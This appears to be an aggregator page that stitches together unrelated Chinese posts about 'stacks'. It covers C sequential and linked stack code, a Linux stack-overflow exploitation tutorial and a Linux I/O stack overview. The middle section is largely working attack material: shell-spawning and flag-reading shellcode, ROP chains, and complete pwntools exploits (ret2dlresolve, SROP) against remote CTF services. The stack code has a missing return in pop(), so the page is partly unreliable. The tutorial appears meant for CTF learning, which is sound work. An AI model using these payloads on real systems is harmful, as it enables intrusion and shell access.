精华内容
下载资源
问答
  • 数据结构中顺序的 初始化,空,满,入栈,出栈,遍历函数源码
    千次阅读
    2020-08-11 20:51:36

    顺序栈的函数源码

    #include <stdio.h>
    #include <stdbool.h>
    #include <stdlib.h>
    
    /*
    功能:顺序栈函数的使用
    栈的数据只能够通过栈顶去操作
    顺序栈是通过创建一个管理结构体的方式,去管理一个数组
    管理结构体中包含:指向数组首地址的指针*stack_arr, 数组的大小size, 栈顶相对于栈底的偏移量top(起始为-1,满为size-1)
    在顺序栈中:我们主要讨论顺序栈的 初始化,栈空,栈满,入栈,出栈,遍历
    */
    
    typedef int DATATYPE;
    
    typedef struct BOSS             //创建顺序栈的管理结构体
    {
    	DATATYPE *staff_arr;    //定义一个指向数组首地址的指针
    	DATATYPE size;          //定义数组的最大长度
    	DATATYPE top;		//定义栈顶相对于栈底的偏移量(起始为-1,满为size-1)
    	
    }Boss, *Boss_p;                 //为管理结构体创建一个别名,和指针类型别名
    
    
    Boss_p init(DATATYPE size);             // 1.初始化管理结构体
    bool is_empty(Boss_p s);		// 2.栈空判断
    bool is_full(Boss_p s);			// 3.栈满判断
    bool push(Boss_p s, DATATYPE n);        // 4.顺序栈入栈
    bool pop(Boss_p s, DATATYPE *n);        // 5.顺序栈出栈
    void display(Boss_p s);                 // 6.顺序栈的遍历
    
    
    int main(int argc, char const *argv[])
    {
    	/*int n,temp;
    	Boss_p boss = init(10);         //初始化栈的大小为10个整型空间
    	for (int i = 0; i < 10; ++i)
    	{
    		push(boss, i+1);        //初始化数据为1-10
    	}
    	display(boss);
    	printf("按1出栈\n");
    	scanf("%d",&n);
    	if (n == 1)
    	{
    		pop(boss, &temp);       //向出栈的函数中传入变量的地址,用于获取出栈元素
    		printf("出栈元素为:%d\n", n);
    	}
    	display(boss);*/
    	
    
    	printf("Cai_grass的博客--所有代码已验证,可直接运行\n");
    	return 0;
    }
    
    
    // 1.初始化管理结构体
    Boss_p init(DATATYPE size)
    {
    	Boss_p s = malloc(sizeof(Boss));     //为管理结构体申请空间
    	if (s != NULL)
    	{                                    //管理结构体空间申请成功后,再为数组申请空间
    		s->staff_arr = calloc(size, sizeof(DATATYPE));
    		s->size = size;              //size 表示数组的最大容纳量
    		s->top = -1;                 //偏移量为-1,表示指向栈底
    		return s;
    	}
    	return NULL;
    }
    
    // 2.栈空判断
    bool is_empty(Boss_p s)
    {
    	return (s->top == -1);
    }
    
    // 3.栈满判断
    bool is_full(Boss_p s)
    {
    	return (s->top == s->size-1);
    }
    
    // 4.顺序栈入栈
    bool push(Boss_p s, DATATYPE n)
    {
    	if (is_full(s))             //如果栈已经满了,入栈失败
    	{
    		return false;
    	}
    	s->top++;		    //栈没满的话,就栈顶往后移,为新的元素让出空间
    	s->staff_arr[s->top] = n;   //用数组的方式去赋值
    	return true;
    }
    // 5.顺序栈出栈
    bool pop(Boss_p s, DATATYPE *n)     //n是用来获取出栈元素的
    {
    	if (is_empty(s))            //如果栈空,出栈失败
    	{
    		return false;
    	}
    	*n = s->staff_arr[s->top];  //用传入的形参获取到出栈元素,也可以不用,直接打印
    	s->top--;                   //元素减少一个,栈顶指针偏移减一
    
    }
    
    // 6.顺序栈的遍历
    void display(Boss_p s)              //因为顺序栈管理的是数组,通过数组的方式去遍历即可
    {
    	for (int i = 0; i < s->top+1; ++i)      //栈顶指针的偏移量+1,就是元素的个数
    	{
    		printf("%d\t", s->staff_arr[i]);
    	}
    	printf("\n");
    
    }
    

     

    更多相关内容
  • linux数据栈的关键数据结构skb
  • linux数据栈的关键数据结构skb_buf
  • linux内核协议分析

    2018-05-07 17:50:54
    详细描述了linux内核协议的实现原理及相关数据结构,为linux内核协议分析人员提供了重要参考。
  • 基于Linux操作系统应用C语言实现的数据结构操作(带有菜单函数控制),程序健壮性强。
  • 本库为C语言(Linux环境下编写的适用于所有C的数据结构库函数)。包括了最基础也是最常用的增删改查功能函数,队列,,链表(单链表,双链表,循环链表等都有),树的增删改查函数。程序可靠。
  • 第2~5章在介绍了实现网络体系结构、协议、设备驱动程序的两个最重要的数据结构sk_buff和net_device的基础上,展示了Linux内核中为网络设备驱动程序设计和开发而建立的系统构架,最后以两个实例来具体说明如何着手...
  • 第2~5章在介绍了实现网络体系结构、协议、设备驱动程序的两个最重要的数据结构sk_buff和net_device的基础上,展示了Linux内核中为网络设备驱动程序设计和开发而建立的系统构架,最后以两个实例来具体说明如何着手...
  • linux栈溢出

    千次阅读 2022-02-01 20:57:06
    栈结构 函数调用过程 32位为例: KaTeX parse error: No such environment: align* at position 8: \begin{̲a̲l̲i̲g̲n̲*̲}̲ & \text{push a… 函数参数传递 32位程序 普通函数传参:参数基本都压在...

    栈溢出

    栈基础知识

    栈结构

    image-20220131010440822

    函数调用过程

    32位为例:
    push args call func { push eip jmp func push ebp mov ebp,esp ⋮ leave { mov esp,ebp pop ebp ret (pop eip) \begin{aligned} & \text{push args}\\ & \text{call func}\left\{\begin{matrix} \text{push eip}\\ \text{jmp func} \end{matrix}\right.\\ & \text{push ebp}\\ & \text{mov ebp,esp}\\ & \vdots \\ & \text{leave}\left\{\begin{matrix} \text{mov esp,ebp}\\ \text{pop ebp} \end{matrix}\right.\\ &\text{ret}\ \text{(pop eip)} \end{aligned} push argscall func{push eipjmp funcpush ebpmov ebp,espleave{mov esp,ebppop ebpret (pop eip)

    函数参数传递

    32位程序

    • 普通函数传参:参数基本都压在栈上(有寄存器传参的情况,可查阅相关资料)。
    • syscall传参:eax对应系统调用号,ebx、ecx、edx、esi、edi、ebp分别对应前六个参数多余的参数压在栈上。

    64位程序:

    • 普通函数传参:先使用rdi、rsi、rdx、rcx、r8、r9寄存器作为函数参数的前六个参数,多余的参数会依次压在栈上。
    • syscall传参:rax对应系统调用号,传参规则与普通函数传参一致。

    ret2text

    栈溢出覆盖返回地址为后门函数从而获取shell。

    ret2shellcode

    将shellcode写入可执行的内存地址处,然后栈溢出覆盖返回地址到shellcode从而执行shellcode获取shell。

    32位例题:wdb_2018_3rd_soEasy

    64位例题:ciscn_2019_n_5

    shellcode

    手写

    • 32位

      • shell(21字节)

        shellcode = asm("""
            push 0x68732f
            push 0x6e69622f
            mov ebx,esp
            xor ecx,ecx
            xor edx,edx
            push 11
            pop eax
            int 0x80
        """)
        
      • orw(56字节)

        shellcode = asm("""
            /*open(./flag)*/
            push 0x1010101
            xor dword ptr [esp], 0x1016660
            push 0x6c662f2e
            mov eax,0x5
            mov ebx,esp
            xor ecx,ecx
            int 0x80
            /*read(fd,buf,0x100)*/
            mov ebx,eax
            mov ecx,esp
            mov edx,0x30
            mov eax,0x3
            int 0x80
            /*write(1,buf,0x100)*/
            mov ebx,0x1
            mov eax,0x4
            int 0x80
        """)
        
    • 64位

      • shell(22字节)

        shellcode = asm("""
            mov rbx, 0x68732f6e69622f
            push rbx
            push rsp
            pop rdi
            xor esi,esi
            xor edx,edx
            push 0x3b
            pop rax
            syscall
        """)
        
      • orw(43字节)

        shellcode = asm("""
            push 0x67616c66
            mov rdi,rsp
            xor esi,esi
            push 2
            pop rax
            syscall
            mov rdi,rax
            mov rsi,rsp
            mov edx,0x100
            xor eax,eax
            syscall
            mov edi,1
            mov rsi,rsp
            push 1
            pop rax
            syscall
        """)
        

    pwntools 生成

    • shell(32位44字节,64位48字节)

      context.arch = elf.arch
      shellcode = asm(shellcraft.sh())
      
    • orw

      • 32位(55字节)

        shellcode = ''
        shellcode += shellcraft.open('./flag')
        shellcode += shellcraft.read('eax','esp',0x100)
        shellcode += shellcraft.write(1,'esp',0x100)
        shellcode = asm(shellcode)
        
      • 64位(66字节)

        shellcode = ''
        shellcode += shellcraft.open('./flag')
        shellcode += shellcraft.read('rax','rsp',0x100)
        shellcode += shellcraft.write(1,'rsp',0x100)
        shellcode = asm(shellcode)
        

    ret2syscall

    构造rop链模拟系统调用过程

    ROPgadget有时可自动构造,但可能长度过长,建议手动构造。

    ROPgadget.py --binary ./pwn --ropchain
    

    execve("/bin/sh",0,0)为例:

    ROPgadget检索相关指令举例:

    ROPgadget --binary ./pwn  --only 'pop|ret' | grep 'ebx'
    

    32位

    • eax = 0x0b
    • ebx指向"/bin/sh"
    • ecx = 0x0
    • edx = 0x0

    rop示例:

    image-20220201192835830

    64位

    • rax = 0x3b
    • rdi指向"/bin/sh"
    • rsi = 0x0
    • rdx = 0x0

    rop示例:

    image-20220201192913030

    ret2libc

    linux延迟绑定机制

    动态链接每个函数需要两个东西:

    • 用来存放外部函数地址的数据段

    • 用来获取数据段记录的外部函数地址的代码

    对应有两个表,一个用来存放外部的函数地址的数据表称为全局偏移表GOT, Global Offset Table),那个存放额外代码的表称为程序链接表PLT,Procedure Link Table)

    图片

    可执行文件里面保存的是 PLT 表的地址,对应 PLT 地址指向的是 GOT 的地址,GOT 表指向的就是 glibc 中的地址。

    在这里面想要通过 plt 表获取函数的地址,首先要保证 got 表已经获取了正确的地址,但是在一开始就进行所有函数的重定位是比较麻烦的,为此,linux 引入了延迟绑定机制:只有动态库函数在被调用时,才会地址解析和重定位工作。

    举例:

    第一次调用

    图片

    之后再次调用

    图片

    利用过程

    泄露函数地址

    泄露libc函数地址的条件:程序中有输出函数,例如puts/printf/write

    write(1,buf,20)为例:

    • 32位

      image-20220201201536794

    • 64位

      需要控制三个参数,rdi,rsi,rdx

      第三个参数代表输出的size,如果没有rdx的gadget可以暂时不管,输出多少无所谓。

      image-20220201202820871

      截取泄露的函数地址

      • 32位

        u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
        
      • 64位

        u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
        
      • 特别得,对于printf输出数字结果,不需要小端序转换,[:-1]是为了去掉最后的回车

        int(p.recvline()[:-1],16)
        

      获取libc基址

      • LibcSearcher

        from LibcSearcher import *
        libc = LibcSearcher("write",write_addr)
        libc_base = write_addr - libc.dump("write")
        bin_sh_addr = libc_base + libc.dump("str_bin_sh")
        system_addr = libc_base + obj.dump("system")
        
      • ELF

        libc = ELF("./libc.so.6")
        libc_base = write_addr - libc.symbol['write']
        bin_sh_addr = libc_base + libc.search("/bin/sh").next()
        ayatem_addr = libc_base + libc.symbol['system']
        

      构造rop获取shell

      system函数调用过程。

      另外,可以one_gadget查找已知的libc中exevce("/bin/sh")语句的地址。

      $ one_gadget libc-2.23.so
      0x45216 execve("/bin/sh", rsp+0x30, environ)
      constraints:
        rax == NULL
      
      0x4526a execve("/bin/sh", rsp+0x30, environ)
      constraints:
        [rsp+0x30] == NULL
      
      0xf0274 execve("/bin/sh", rsp+0x50, environ)
      constraints:
        [rsp+0x50] == NULL
      
      0xf1117 execve("/bin/sh", rsp+0x70, environ)
      constraints:
        [rsp+0x70] == NULL
      

    栈迁移

    栈迁移主要是为了解决栈溢出溢出空间大小不足的问题。

    通过栈溢出将将栈中的ebp覆盖为fake_ebp-4(64位为fake_ebp-8,因为leave指令mov esp,ebp之后还有pop ebp使得esp增加),通过两次leave可以将esp的值改为fake_ebp,从而完成栈迁移,这样就可以在溢出空间不足的情况下构造完整的rop链。

    栈迁移到数据填充段

    image-20220201220727506

    将栈迁移到数据填充段中,执行其中的rop。

    栈迁移到其它空闲地址

    image-20220202002817557

    调用read函数将rop写入空闲地址中,然后将栈迁移到该地址执行该rop。

    这里返回到read函数时会有push ebp保存ebp值,read函数中的leave;ret语句不会对栈迁移造成影响,因此还要再加一个leave;ret

    ret2csu

    在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

    .text:00000000004005C0 ; void _libc_csu_init(void)
    .text:00000000004005C0                 public __libc_csu_init
    .text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
    .text:00000000004005C0                 push    r15
    .text:00000000004005C2                 push    r14
    .text:00000000004005C4                 mov     r15d, edi
    .text:00000000004005C7                 push    r13
    .text:00000000004005C9                 push    r12
    .text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
    .text:00000000004005D2                 push    rbp
    .text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
    .text:00000000004005DA                 push    rbx
    .text:00000000004005DB                 mov     r14, rsi
    .text:00000000004005DE                 mov     r13, rdx
    .text:00000000004005E1                 sub     rbp, r12
    .text:00000000004005E4                 sub     rsp, 8
    .text:00000000004005E8                 sar     rbp, 3
    .text:00000000004005EC                 call    _init_proc
    .text:00000000004005F1                 test    rbp, rbp
    .text:00000000004005F4                 jz      short loc_400616
    .text:00000000004005F6                 xor     ebx, ebx
    .text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
    .text:0000000000400600
    .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
    .text:0000000000400600                 mov     rdx, r13
    .text:0000000000400603                 mov     rsi, r14
    .text:0000000000400606                 mov     edi, r15d
    .text:0000000000400609                 call    qword ptr [r12+rbx*8]
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611                 cmp     rbx, rbp
    .text:0000000000400614                 jnz     short loc_400600
    .text:0000000000400616
    .text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
    .text:0000000000400616                 add     rsp, 8
    .text:000000000040061A                 pop     rbx
    .text:000000000040061B                 pop     rbp
    .text:000000000040061C                 pop     r12
    .text:000000000040061E                 pop     r13
    .text:0000000000400620                 pop     r14
    .text:0000000000400622                 pop     r15
    .text:0000000000400624                 retn
    .text:0000000000400624 __libc_csu_init endp
    

    可以看到,如果能够控制 r12r8 寄存器的值就可以利用 0x0000000000400609 地址处的 call 指令执行任意函数。因此可以利用 0x00000000004006160000000000400624 的汇编指令先控制寄存器的值,然后再执行 0x00000000004006000x0000000000400624 的汇编指令调用目标函数,然后返回到主函数再次利用。

    对应脚本如下:

    csu_front_addr = 0x0000000000400600
    csu_end_addr = 0x000000000040061A
    fakeebp = 'b' * 8
    
    def csu(rbx, rbp, r12, r13, r14, r15, last):
        # pop rbx,rbp,r12,r13,r14,r15
        # rbx should be 0,
        # rbp should be 1,enable not to jump
        # r12 should be the function we want to call
        # rdi=edi=r15d
        # rsi=r14
        # rdx=r13
        payload = 'a' * 0x80 + fakeebp
        payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
            r13) + p64(r14) + p64(r15)
        payload += p64(csu_front_addr)
        payload += 'a' * 0x38
        payload += p64(last)
        sh.send(payload)
        sleep(1)
    

    其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数

    _init
    _start
    call_gmon_start
    deregister_tm_clones
    register_tm_clones
    __do_global_dtors_aux
    frame_dummy
    __libc_csu_init
    __libc_csu_fini
    _fini
    

    我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。

    ret2dlresolve

    ELF关于动态链接的一些关键section

    主要有 .dynamic.dynstr.dynsym.rel.plt 四个重要的 section 。

    结构及关系如下如图:

    dlresolve.drawio

    _dl_runtime_resolve 函数

    _dl_runtime_resolve 函数的作用可以见前面 ret2libc 中 linux 延迟绑定机制的原理介绍图。这里详细介绍的是该函数的具体实现。

    _dl_runtime_resolve 函数的具体实现为:

    1. link_map 访问 .dynamic ,取出 .dynstr.dynsym.rel.plt 的指针
    2. .rel.plt + 第二个参数 求出当前函数的重定位表项 Elf32_Rel 的指针,记作 rel
    3. rel->r_info >> 8 作为 .dynsym 的下标,求出当前函数的符号表项 Elf32_Sym 的指针,记作 sym
    4. .dynstr + sym->st_name 得出符号名字符串指针
    5. 在动态链接库查找这个函数的地址,并且把地址赋值给 *rel->r_offset ,即 GOT 表
    6. 调用这个函数

    改写 .dynamic 的 DT_STRTAB

    这个只有在 checksec 时 No RELRO 可行,即 .dynamic 可写。因为 ret2dl-resolve 会从 .dynamic 里面拿 .dynstr 字符串表的指针,然后加上 offset 取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当 resolve 的时候,就能 resolve 成我们所指定的任意库函数。

    操纵第二个参数,使其指向我们所构造的 Elf32_Rel

    由于 _dl_runtime_resolve 函数各种按下标取值的操作都没有进行越界检查,因此如果 .dynamic 不可写就操纵 _dl_runtime_resolve 函数的第二个参数,使其访问到可控的内存,然后在该内存中伪造 .rel.plt ,进一步可以伪造 .dynsym.dynstr ,最终调用目标函数。

    这里以 midnightCTF2022 的 speed5 为例讲解具体利用过程:

    可以看出,程序主体部分是一个非常简单的栈溢出。

    void __cdecl go()
    {
      char buf[24]; // [esp+0h] [ebp-18h] BYREF
    
      read(0, buf, 48u);
    }
    

    由于溢出长度有限,因此首先需要栈迁移到其他地址处。

    在这里插入图片描述
    调用 _dl_runtime_resolve 函数可以把接下来 rop 中的返回地址设为该函数的 plt 表地址。该地址对应的汇编指令如下:
    在这里插入图片描述
    可以看到 _dl_runtime_resolve(link_map_obj, reloc_offset) 的参数1 link_map_obj 被 push 到栈中,在此之前,栈顶一定是参数2 reloc_offset 。因此构造的 rop 中接下来的值是伪造的参数2。接下来rop链的内容是目标函数的返回地址和参数(具体rop链为什么这么构造可以看前面 ret2libc 中 linux 延迟绑定机制的原理介绍图)。

    之后就是伪造那 3 个结构,具体见下图。
    在这里插入图片描述
    exp 如下:

    from pwn import *
    
    context(arch='i386', os='linux')
    # context.log_level = 'debug'
    p = remote("speed-05.hfsc.tf", 22345)
    # p = process('./speed5')
    elf = ELF("./speed5")
    
    rop_addr = elf.bss() + 0x600
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    leave_ret = 0x80491C9
    resolve_plt = 0x8049030
    JMPREL = 0x8048314
    SYMTAB = 0x8048248
    STRTAB = 0x8048298
    
    
    def ret2dlresolve():
        fake_rel_addr = rop_addr + 5 * 4
        reloc_offset = fake_rel_addr - JMPREL
        bin_sh_addr = rop_addr + 19 * 4
        fake_sym_addr = rop_addr + 7 * 4
        align = (0x10 - ((fake_sym_addr - SYMTAB) & 0xF)) & 0xF
        fake_sym_addr += align
        r_info = ((fake_sym_addr - SYMTAB) / 0x10 << 8) | 0x7
        fake_rel = p32(read_got) + p32(r_info)
        fake_name_addr = fake_sym_addr + 6 * 4
        st_name = fake_name_addr - STRTAB
        fake_sym = p32(st_name) + p32(0) * 2 + p32(0x12) + p32(0) * 2
        payload = p32(0)
        payload += p32(resolve_plt)
        payload += p32(reloc_offset)
        payload += p32(0)
        payload += p32(bin_sh_addr)
        payload += fake_rel
        payload += '\x00' * align
        payload += fake_sym
        payload += "system"
        payload = payload.ljust(19 * 4, '\x00')
        payload += '/bin/sh\x00'
        return payload
    
    
    if __name__ == '__main__':
        payload = 'a' * 24
        payload += p32(rop_addr)
        payload += p32(read_plt)
        payload += p32(leave_ret)
        payload += p32(0)
        payload += p32(rop_addr)
        payload += p32(0x100)
        p.send(payload)
        p.send(ret2dlresolve())
        p.interactive()
    

    SROP

    简单的说就是如果系统调用 rt_sigreturn 时会根据当前栈顶的 Signal Frame 结构恢复各寄存器的值。通过伪造 Signal Frame 并通过构造 rop 使程序执行 rt_sigreturn 就可以执行想要执行的函数以及把栈迁移到任意地址。

    以 64 位为例,其中一种构造方式如下:
    其中 0xF 为 rt_sigreturn 的系统调用号。
    在这里插入图片描述
    Signal Frame 结构如下:
    在这里插入图片描述
    通过设置 Signal Frame 的 rsp 的值栈迁移,可以连读多次进行 SROP。
    在这里插入图片描述
    例题:rootersctf_2019_srop

    signed __int64 sub_401000()
    {
      signed __int64 v0; // rax
      char buf[128]; // [rsp+0h] [rbp-80h] BYREF
    
      v0 = sys_write(1u, ::buf, 0x2AuLL);
      return sys_read(0, buf, 0x400uLL);
    }
    

    存在栈溢出。

    可供利用的 gadget :

    .text:0000000000401032                 pop     rax
    .text:0000000000401033                 syscall                 ; LINUX - sys_read
    .text:0000000000401035                 leave
    .text:0000000000401036                 retn
    

    可以完成改 rax 和 系统调用,不过 ret 前多了一个 leave ,因此连续 SROP 时不能像前面示意图那样直接改 rsp ,而是将 rbp 设为目标栈地址 + 8 ,利用栈迁移将栈顶迁移到目标地址。

    第一次 SROP 可以调用 read 向 .data 段的 buf 写入第二段 rop 以及 /bin/sh\x00 字符串。
    第二次 SROP 执行 execve 获取 shell 。

    from pwn import *
    
    context(arch='amd64', os='linux')
    context.log_level = 'debug'
    p = remote('node4.buuoj.cn',26384)
    # p = process('./rootersctf_2019_srop')
    elf = ELF("./rootersctf_2019_srop")
    
    if __name__ == '__main__':
        buf_addr = 0x402000
        syscall_leave_ret = 0x401033
        pop_rax_syscall_leave_ret = 0x401032
    
        frame = SigreturnFrame()
        frame.rax = 0  # read
        frame.rdi = 0  # stdin
        frame.rsi = buf_addr  # buf
        frame.rdx = 0x400  # size
        frame.rip = syscall_leave_ret
        frame.rbp = buf_addr
    
        payload = ''
        payload += 'a' * 0x88
        payload += p64(pop_rax_syscall_leave_ret)
        payload += p64(0xF)
        payload += str(frame)
    
        p.sendafter('Hey, can i get some feedback for the CTF?\n',payload)
    
        frame = SigreturnFrame()
        frame.rax = 59  # execve
        frame.rdi = buf_addr  # "/bin/sh\x00"
        frame.rsi = 0
        frame.rdx = 0
        frame.rip = syscall_leave_ret
    
        payload = ''
        payload += '/bin/sh\x00'
        payload += p64(pop_rax_syscall_leave_ret)
        payload += p64(0xF)
        payload += str(frame)
    
        p.send(payload)
    
        p.interactive()
    
    展开全文
  • 几个月之前做了关于Linux内核版本1.2.13网络结构框架分析并实现了基于Netfilter的包过滤防火墙,这里以内核3.2.1内核为例来进一步分析,更全面的分析网络结构。  1、先说一下sk_buff结构体  这个...
  • Linux C 数据结构——

    千次阅读 2015-12-28 11:54:15
    是限制在一段进行插入操作和删除操作的线性表(俗称堆栈),允许进行操作的一端称为“栈顶”,另一固定端称为“底”,当中没有元素称为“空栈”。特点:先进后出(FILO)。 栈顶即top,这里top有两种定义方式...

       还是先把这张图贴出来,以便对比和理解

      

      栈是限制在一段进行插入操作和删除操作的线性表(俗称堆栈),允许进行操作的一端称为“栈顶”,另一固定端称为“栈底”,当栈中没有元素称为“空栈”。特点:先进后出(FILO)。

    栈顶即top,这里top有两种定义方式:

    1、满栈(Full Stack),top指向最后一个使用的空间;

    2、空栈(Empty Stack),top指向下一个可用的空间;

         栈也是线性表,所以也分顺序存储和链式存储:

    一、顺序存储

           栈是顺序表的一种,具有顺序表同样的存储结构,由数组定义,配合用数组下表表示的栈顶指针top(相对指针)完成各种操作。

    typedef int data_t;  //定义栈中数据元素的数据类型
    typedef struct
    {
    	date_t *data;  //用指针指向栈的存储空间
    	int maxlen;    //当前栈的最大元素个数
    	int top;  //指向栈顶位置(数组下标)的变量
    }seqstack_t;  //顺序栈类型定义


    如图,我们可以看到,栈的顺序存储与顺序表的区别,顺序表数组大小是固定的,这样限制了我们的后期修改,而栈的顺序存储将数据域单独开辟了一片空间才存放,大小为maxlen*sizeof(data_t), 下面是栈的基本运算:

    1、创建栈

    seqstack_t *CreateEmptyStack(int max_len)
    {
    	seqstack_t *stack;
    	stack = (seqstack_t *)malloc(sizeof(seqstack_t));
    	stack->data = (data_t *)malloc(sizeof(data_t)*max_len);
    	stack->top = -1;
    	stack->max_len = max_len;
    
    	return stack;
    }

    2、摧毁一个栈

    void DestroyStack(seqstack_t *stack)
    {
    	if(stack != NULL)
    	{
    		if(stack->data != NULL)
    			free(stack->data);
    
    		free(stack);
    	}
    }

    3、清空一个栈

    void ClearStack(seqstack_t *stack)
    {
    	if(stack != NULL)
    		stack->top = -1;
    }

    4、判断栈是否为空

    int EmptyStack(seqstack_t *stack)
    {
    	if(stack == NULL)
    		return -1;
    
    	return(stack->top == -1 ? 1 : 0);
    }

    5、判断栈是否为满

    int FullStack(seqstack_t *stack)
    {
    	if(stack == NULL)
    		return -1;
    
    	return(stack->top == (stack->max_len - 1) ? 1 : 0);
    }

    6、进栈

    int PushStack(seqstack_t *stack ,data_t x)
    {
    	if(FullStack(stack))
    		return -1;
    	else
    	{
    		stack->top++;
    		stack->data[stack->top] = x;
    	}
    
    	return 0;
    }

    7、出栈

    int PopStack(seqstack_t *stack,data_t *x)
    {
    	if(EmptySqstack(stack))
    		return -1;
    	else
    	{
    		*x = stack->data[stack->top];
    		stack->top--;
    	}
    
    	return 0;
    }

    8、取栈顶元素

    int GetTop(seqstack_t *stack,data_t *x)
    {
    	if(EmptyStack(stack))
    		return -1;
    	else
    		*x = stack->data[stack->top];
    
    	return 0;
    }

     

    二、链式存储

            若是栈中元素的数目变化范围较大或不清楚栈元素的数目,就应该考虑使用链式存储结构。人们将用链式存储结构表示的栈称作"链栈"。链栈通常用一个无头结点的单链表表示。如图所示:

    插入操作和删除操作均在链表头部进行,链表尾部就是栈底,栈顶指针就是头指针;

    typedef int data_t;
    typedef struct node_t
    {
    	data_t data;  //数据域
    	struct node_t *next;  //链接指针域
    }linkstack_t; //链栈类型定义

    栈(链式存储)基本运算如下:

    1、创建空栈:

    linkstack_t *CreateLinkstack()
    {
    	linkstack_t *top;
    	top = (linkstack_t *)malloc(sizeof(linkstack_t));
    	top->next = NULL;
    	
    	return top;
    }

    2、判断是否为空栈:

    int EmptyStack(linkstack_t *top)
    {
    	return (top->next == NULL ? 1 : 0);
    }

    3、入栈

    void PushStack(linkstack_t *top,data_t x)
    {
    	linkstack_t *p;
    	p = (linkstack_t *)malloc(sizeof(linkstack_t));
    	p->data = x;
    	p->next = top->next;
    	top->next = p;
    
    	return;
    }

    4、出栈

    int PopStack(linkstack_t stack,data_t *x)
    {
    	if(stack->next == NULL || stack == NULL)
    		return -1;
    
    	linkstack_t p;
    	p = stack->next;
    	stack->next = p->next;
    	if(x != NULL)
    		*x = p->data;
    	free(p);
    
    	return 0;
    }


    三、栈的应用





     

    展开全文
  • C语言实现实现球钟算法,使用到了队列和
  • 第2~5章在介绍了实现网络体系结构、协议、设备驱动程序的两个最重要的数据结构sk_buff和net_device的基础上,展示了Linux内核中为网络设备驱动程序设计和开发而建立的系统构架,最后以两个实例来具体说明如何着手...
  • linux io(读写流程)

    千次阅读 2021-06-08 16:21:23
    2 Linux内核收到系统调用的软中断,通过参数检查后,会调用虚拟文件系统(Virtual File System,VFS),虚拟文件系统会根据信息把相应的处理交给具体的文件系统,如ext2/3/4等文件系统,接着相应的文件I/O命令会转化...

    IO 栈概述

    在这里插入图片描述

    1 应用程序通过系统调用访问文件(无论是块设备文件,还是各种文件系统中的文件)。可以通过open系统调用,也可以通过memory map的方式调用来打开文件。
    2 Linux内核收到系统调用的软中断,通过参数检查后,会调用虚拟文件系统(Virtual File System,VFS),虚拟文件系统会根据信息把相应的处理交给具体的文件系统,如ext2/3/4等文件系统,接着相应的文件I/O命令会转化成bio命令进入通用的块设备层,把针对文件的基于offset的读/写转化成基于逻辑区块地址(Logical Block Address,LBA)的读/写,并最终翻译成每个设备对应的可识别的地址,通过Linux的设备驱动对物理设备,如硬盘驱动器(Harddisk Drive,HDD)或固态硬盘进行相关的读/写。

    3 用户态文件系统的管理。Linux文件系统的实现都是在内核进行的,但是用户态也有一些管理机制可以对块设备文件进行相应的管理。例如,使用parted命令进行分区管理,使用mkfs工具进行文件系统的管理,使用逻辑卷管理器(Logical Volume Manager,LVM)命令把一个或多个磁盘的分区进行逻辑上的集合,然后对磁盘上的空间进行动态管理。
    4 当然在用户态也有一些用户态文件系统的实现,但是一般这样的系统性能不是太高,因为文件系统最终是建立在实际的物理存储设备上的,且这些物理设备的驱动是在内核态实现的。那么即使文件系统放在用户态,I/O的读和写也还是需要放到内核态去完成的。除非相应的设备驱动也被放到用户态,形成一套完整的用户态I/O栈的解决方案,就可以降低I/O栈的深度。另外采用一些无锁化的并行机制,就可以提高I/O的性能。例如,由英特尔开源的SPDK(Storage Performance Development Kit)软件库,就可以利用用户态的NVMe SSD(Non-Volatile Memory express)驱动,从而加速那些使用NVMe SSD的应用,如iSCSI Target或NVMe-oF Target等。

    linux IO 存储栈分为7层:

    1. VFS 虚拟文件层: 在各个具体的文件系统上建立一个抽象层,屏蔽不同文件系统的差异。
    2. PageCache 层: 为了缓解内核与磁盘速度的巨大差异。
    3. 映射层 Mapping Layer: 内核必须从块设备上读取数据,Mapping layer 要确定在物理设备上的位置。
    4. 通用块层: 通用块层处理来自系统其他组件发出的块设备请求。包含了块设备操作的一些通用函数和数据结构。
    5. IO 调度层: IO 调度层主要是为了减少磁盘IO 的次数,增大磁盘整体的吞吐量,队列中多个bio 进行排序和合并。
    6. 块设备驱动层: 每一类设备都有其驱动程序,负责设备的读写。
    7. 物理设备层: 物理设备层有 HDD,SSD,Nvme 等磁盘设备。

    PageCache 层: 两种策略: write back : 写入PageCache 便返回,不等数据落盘。
    write through: 同步等待数据落盘。

    读流程

    (1)系统调用read()会触发相应的VFS(Virtual Filesystem Switch)函数,传递的参数 有文件描述符和文件偏移量。

    (2)VFS确定请求的数据是否已经在内存缓冲区中;若数据不在内存中,确定如何执行读 操作。

    (3)假设内核必须从块设备上读取数据,这样内核就必须确定数据在物理设备上的位置。 这由映射层(Mapping Layer)来完成。

    (4)此时内核通过通用块设备层(Generic Block Layer)在块设备上执行读操作,启动I/O 操作,传输请求的数据。

    (5)在通用块设备层之下是I/O调度层(I/O Scheduler Layer),根据内核的调度策略,对 等待的I/O等待队列排序。

    (6)最后,块设备驱动(Block Device Driver)通过向磁盘控制器发送相应的命令,执行 真正的数据传输。

    写流程

    write()—>sys_write()—>vfs_write()—>通用块层—>IO调度层—>块设备驱动层—>块设备

    块设备

